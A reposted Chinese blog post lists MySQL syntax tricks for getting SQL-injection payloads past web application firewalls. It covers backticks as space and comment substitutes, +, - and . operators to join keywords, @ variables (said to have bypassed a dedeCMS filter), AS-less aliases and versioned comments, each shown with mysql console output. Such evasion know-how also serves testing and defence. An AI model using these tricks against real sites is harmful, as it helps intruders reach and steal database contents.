zoukankan      html  css  js  c++  java
  • 过国内外的waf的一些奇淫绝技<转>

    作者:livers
    研究过国内外的waf。分享一些 奇淫绝技。
    一些大家都了解的技巧如:/*!*/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。
    Mysql

    tips1: 神奇的 `  (格式输出表的那个控制符)

    过空格和一些正则。

    mysql> select`version`();
    +----------------------+
    |
    `version`()
    |
    +----------------------+
    |
    5.1.50-community-log |
    +----------------------+
    1 row in set
    (0.00 sec)

    一个更好玩的技巧,这个`控制符可以当注释符用(限定条件)。
    mysql> select id from qs_admins where id=1;`dfff and comment it;
    +----+
    | id |
    +----+
    |
    1
    |
    +----+
    1 row in set
    (0.00 sec)


    usage : where  id =’0′`’xxxxcomment on.

    tips2:神奇的- + .

    mysql> select id from qs_admins;
    +----+
    | id |
    +----+
    |
    1
    |
    +----+
    1 row in set
    (0.00 sec)   mysql> select+id-1+1.from qs_admins;
    +----------+
    |
    +id-1+1.
    |
    +----------+
    |
    1
    |
    +----------+
    1 row in set
    (0.00 sec)   mysql> select-id-1+3.from qs_admins;
    +----------+
    |
    -id-1+3.
    |
    +----------+
    |
    1
    |
    +----------+
    1 row in set
    (0.00 sec)
    (有些人不是一直在说关键字怎么过?过滤一个from …    就是这样连起来过)

    tips3: @

    mysql> select@^1.from qs_admins;
    +------|+
    |
    @^1.
    |
    +------|+
    | NULL |
    +------|+
    这个是bypass  曾经dedeCMS filter .
    或者这样也是ok.

    tips4:mysql function() as xxx  也可以不用as 和空格

    mysql> select-count(id)test from qs_admins;
    +------|+
    | test |
    +------|+
    |
    -1
    |
    +------|+
    1 row in set
    (0.00 sec)
    tips5:/*![>5000]*/ 新构造  版本号(这个可能有些过时了。)
    mysql>
    /\*!40000select\*/ id from qs_admins;
    +----+
    | id |
    +----+
    |
    1
    |
    +----+
    1 row in set
    (0.00 sec)
    先分享这么多,哈。
    作者:livers

    @#################################################### 我是一个不被神眷の男人~ ####################################################@
  • 相关阅读:
    2011大纽约区域赛试题 Decoding EDSAC Data 解题报告
    湘大OJ第1484题 Allocation of Memory
    谈谈对js作用域的理解与疑问,请各位指正。
    Closure Linter工具介绍,挺好用的。
    JSTL标签用法
    守柔WORD编程代码集 CHM版
    返回任意输出月的最后一天
    Spring中MultipartHttpServletRequest实现文件上传
    SPringMVC注解驱动 .
    账号正在另一客户端登录 判断方法
  • 原文地址:https://www.cnblogs.com/demonspider/p/3113290.html
Copyright © 2011-2022 走看看